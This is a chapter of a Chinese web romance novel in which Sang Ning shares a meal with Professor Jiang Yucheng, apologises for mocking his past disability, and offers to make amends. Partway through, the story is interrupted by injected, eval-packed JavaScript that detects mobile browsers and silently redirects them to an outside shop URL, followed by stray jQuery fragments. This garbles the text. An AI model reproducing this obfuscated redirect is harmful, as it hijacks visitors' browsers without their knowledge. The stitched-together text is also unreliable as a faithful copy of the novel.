42. 第 42 章

作品:《穿作反派,但恋爱脑

    待桑宁再次醒来时,已是晚上,虽一身爽利,但除却早午饭那餐粥,肚子空空如也。


    她轻手轻脚地扭开门把,想去厨房找点吃的,再不济点个外卖或者出去吃也行,就是不知道江煜成现在什么情况。


    她合上门,朝关着门的客房探了探头——该不会还在睡觉吧?


    她挪着步子来到客房门口,想要敲门,又怕打扰,不如先发个微信?


    她摸了摸全身上下的口袋,竟不见手机的踪影。


    在房间里?


    她刚抬脚要回房间,江煜成的嗓音透了过来。


    “我在这儿,手机在餐桌上。”


    吓得她一激灵。


    一回头,竟发现江煜成就坐在餐桌旁办公。


    他神情专注,笔记本的蓝光莹亮了他轮廓分明的脸,并且他坐的这个方位就正好对着她卧房的门口。


    她方才全部的小动作可谓一览无余。


    “哦。”


    桑宁有些窘迫地挠了挠脑袋,径直下了楼。


    不是,她明明记得她睡前用了手机啊,怎么手机还在楼下?


    又想到她中途下楼喝水...


    好吧。


    “会煮面吗?”


    桑宁靠近餐桌拿手机时,江煜成从笔记本前抬头问她。


    “会。”


    视线触碰的刹那,桑宁将脸垂下去,许是之前脑海里那些乱七八糟的画面,她竟有些无法直视他了。


    “浇头煮好了,在砂锅里温着,你在锅里下水煮面就好。”


    江煜成的目光又转回了屏幕前,席话间,手上键盘也码个不停,看来真的是有点忙。


    “好。”


    桑宁应下,去厨房煮面。


    她坐着轮椅都经常做饭,煮个面不在话下,主要是厨房不熟,物件都不知道摆那儿,就比如她找面条就找了好一阵儿。


    之后又找锅铲、调料、碗筷......


    终于在一阵“乒“、“乒”、“乓”、“乓”声中,江煜成从餐厅走到了厨房“监工”。


    “你去忙吧,我能搞定。”


    桑宁一只手挥舞着锅铲说得大大咧咧。


    江煜成身子往后仰了仰,避免误伤,随即冷眸一扫。


    “今晚我还想在这里休息。”


    桑宁没懂。


    “你别把这儿炸了...”


    桑宁:“...”


    于是从开始煮面条,江煜成就抱臂在旁边,后面实在有些看不惯她的笨手笨脚,他干脆挤开她,自己动手煮好了。


    面条端在桌上的那刻,桑宁一扫之前的不快,眼里只有对食物的惊喜与渴望——竟然是她最喜欢的鸡蛋西红柿盖面!


    “江教授,您真的是大好人呐!”


    桑宁边夸边吸溜,感动得那是个涕泗横流......主要是烫的。


    “慢点。”


    江煜成有些无奈地又给她斟了一杯温水,自己则坐在桌对面,边喝水边看着她吃。


    五分钟不到,一大碗面条下肚,桑宁拍了拍肚子,发出一个释然的笑容。


    硬生生把对面的江煜成看笑了,他以喝水遮掩。


    直到这时,桑宁才后知后觉地反应过来,问了句。


    “你吃了吗?”


    “早吃了,给你留的。”


    江煜成喝完玻璃杯里最后一口水,欲起身离去。


    “等一下。”


    桑宁阻住他的步伐,“其实我有件事想对你说。”


    “不是道歉。”


    江煜成脚步顿住,又坐了回去,眼神好整以暇。


    桑宁微微垂首,整理了一下思绪,方道。


    “第一次见面,你不是还惊讶我会认识盲道?其实不止盲道,所有的残疾人基础设施以及标志我都认识。倒不是因为上过选修课什么的,也许我说出来,你都不信。”


    桑宁飘忽的眼神变得认真,她抬首盯着对方的眼睛,又觉得对方的目光过于灼人,她将视线集中在对方的眉心。


    这样对方觉得她在看他,她又不会感觉太尴尬。


    “我做过一个梦,一个很逼真的梦,我以一个从出生就半身不遂的女孩的身体活到了十八岁成年那天。”


    江煜成眼眸微闪。


    “江教授,我知道您作为一位科研人员,信奉科学的,是不信这些怪力乱神之说的,但我真真实实地有过一段十八年的轮椅生涯。”


    怕他不信,桑宁继续补充道。


    “兴许外人无法理解,但我明白,失去双腿,不代表失去双腿的知觉,几乎每个无法入睡的夜晚,我都必须忍受难以承受的神经痛。”


    江煜成心下一惊,眼神晦暗不明。


    “所以你说这些的目的是什么?”


    “我的意思是,没有人能比我更懂得身为一个残疾人的心理,我知道那些话对您造成的伤害,所以我是真的对曾经冒犯您的事感到最诚挚的愧疚与遗憾,而不是浮于表面的敷衍。”


    桑宁嗓音诚恳,继而站立起身,对其深深一鞠。


    望着眼前九十度弯腰的女孩,江煜成的心底漫延出一股难以言说的触动。


    这是头一回,有人这么诚挚地因为冒犯那段时光来对他致歉,那段除他以外,于所有人而言都微不足道的时光。


    他熬过来了,所以他也早已习惯身边的人对那段艰涩时光的轻描淡写。


    可他不能,那是他以秒来计算度量的难捱岁月。


    那时,比身体更疼痛的是内心的绝望,他像是当着所有亲朋好友的面独自坠入深渊,却无人能真正能够拉他一把。


    桑季川曾宽慰他,说他已经足够幸运了,起码有着殷实的家底,即便真的一辈子坐在轮椅上,也能享受最好的医疗与生活,体面地度过一生。


    可何为体面?


    当他无法依靠自己独自站立,当他连如厕都需要别人辅助,他就不配再拥有“体面”这个形容词。


    其实最开始的时候,他不是没有过盼望,期盼有一个人能理解他、指引他、与他一同走出黑暗。


    可是身边的亲友纵使真心悲伤,也在探望过后,迅速回归既定生活;大多数人则是在明白他毫无价值后,果断选择转身。


    留在深渊里的,从来就只有他一个人。


    不会有人来的。


    他受够了那些盖棺定论的眼神与冷嘲热讽的语气;他受够了局限束缚的生活与毫无希望的人生;他也受够了被一个人抛下,独自蜷缩在角落里兀自腐烂、发霉。


    他只能靠自己,也只有他自己。


    于是从那时起,他便日夜不息地努力康复,并开始理性规划今后的人生。


    说到底,他虽打着助力残疾人的名头研发,但经营的事业却也是在快速地汲取财富、累计声望,以至于他能站在人群的至高处,成为不可被任何人忽视、放弃的那一位。


    弱小,真的是太无力的词汇。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930828|189088||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    他讨厌弱小,他要变得强大、更强大。


    而现在有人跟他说,她懂那段时光,她都懂,他的渺小、无助、脆弱、迷茫,她全都知晓,并感同身受。


    她对那段时光真心地感到抱歉。


    江煜成垂下眸,无数细微的感受涌上心头,像是早已干涸开裂的贫瘠土壤,终于等来了第一场雨。


    “你的致歉,我收下了。”


    他缓缓抬首,定定望着她,黑色的眸子像口望不见底的深井。


    桑宁被盯得心里有些发毛。


    按理来说,致歉到这个程度该是完成了啊。


    难不成觉得光嘴上说不行?


    桑宁清了清嗓子。


    “我也可以做些什么弥补一下。”


    当然客套的成分偏多。


    可对面那双幽深的眸子却如梦初醒般闪了闪。


    “你想怎么弥补?”


    他如古器悠远华丽的嗓音递来,桑宁一愣,她还真没想过。


    她至多不过是不知者无过地冒犯了几句,怎么整得像要以身相许那味儿了。


    “虽然我无法在工作上为您提供很大的帮助,但生活上...应当是可以的。”


    桑宁答得磕磕巴巴。


    “比如呢?”


    对方依旧咄咄紧逼,像是嗅见血的狼,丝毫没有放过她的意味。


    “我会...做饭。”


    桑宁率先拿出最拿得出手的厨艺。


    江煜成没吱声,只朝桌上的空碗斜了眼。


    桑宁的气焰立即就小下来。


    “我也可以...打扫...”


    “有钟点工。”


    江煜成拒绝地很干脆。


    “那...我先跟着你.....”


    “我意思是,看看您有什么需要...”


    桑宁也是实在没招了,那就见招拆招吧。


    她低下头,搓着指甲。


    从江煜成的角度,则是看到桑宁低头之际,如瀑的丝发擦着玉琢似的脸颊滑落,只鼻尖嫩笋般的尖角与花瓣似的粉唇现出轮廓。


    这令他不自觉地联想起昨夜她钻入他衣襟时,鼻尖微凉的触感,与粉唇柔软的触觉,他不觉喉头一紧。


    “随你。”


    冷漠的男声在空旷的餐厅响起,落在桑宁耳朵里格外清晰。


    他这是同意了吗?


    桑宁抬首,目光不自觉地追随着那道颀长的身影拾阶而上,眸里绽出惊喜。


    然而在她不知道的地方,在那看似冷酷的背影之下,一抹不易察觉的弧度缓慢爬上唇角。


    ***


    江煜成向来有晚睡的习惯,需要早起会定闹钟,学校临时有事,杨羽会电话他。


    故而在不需要早起的早晨,他会放任自己睡晚些再起床。


    然而今天一早,叫醒他的不是闹钟,也不是杨羽的电话,而是物业。


    “江总,打扰了,今天一早门口来了许多标注您家地址的大件快递,但落款又不是您的名字,是位桑姓女士,故来电询问一下。”


    原本还半沉在睡意里的江煜成彻底醒了。


    “都是些什么东西?”


    他床边坐起,还没醒全,嗓音带着沙哑。


    “一个个大箱子装着,应该是比较大件的东西,可能是家具?”


    挂了电话,江煜成一阵头疼,他昨晚不过允她跟着,这桑宁该不会是想在他家住下了吧?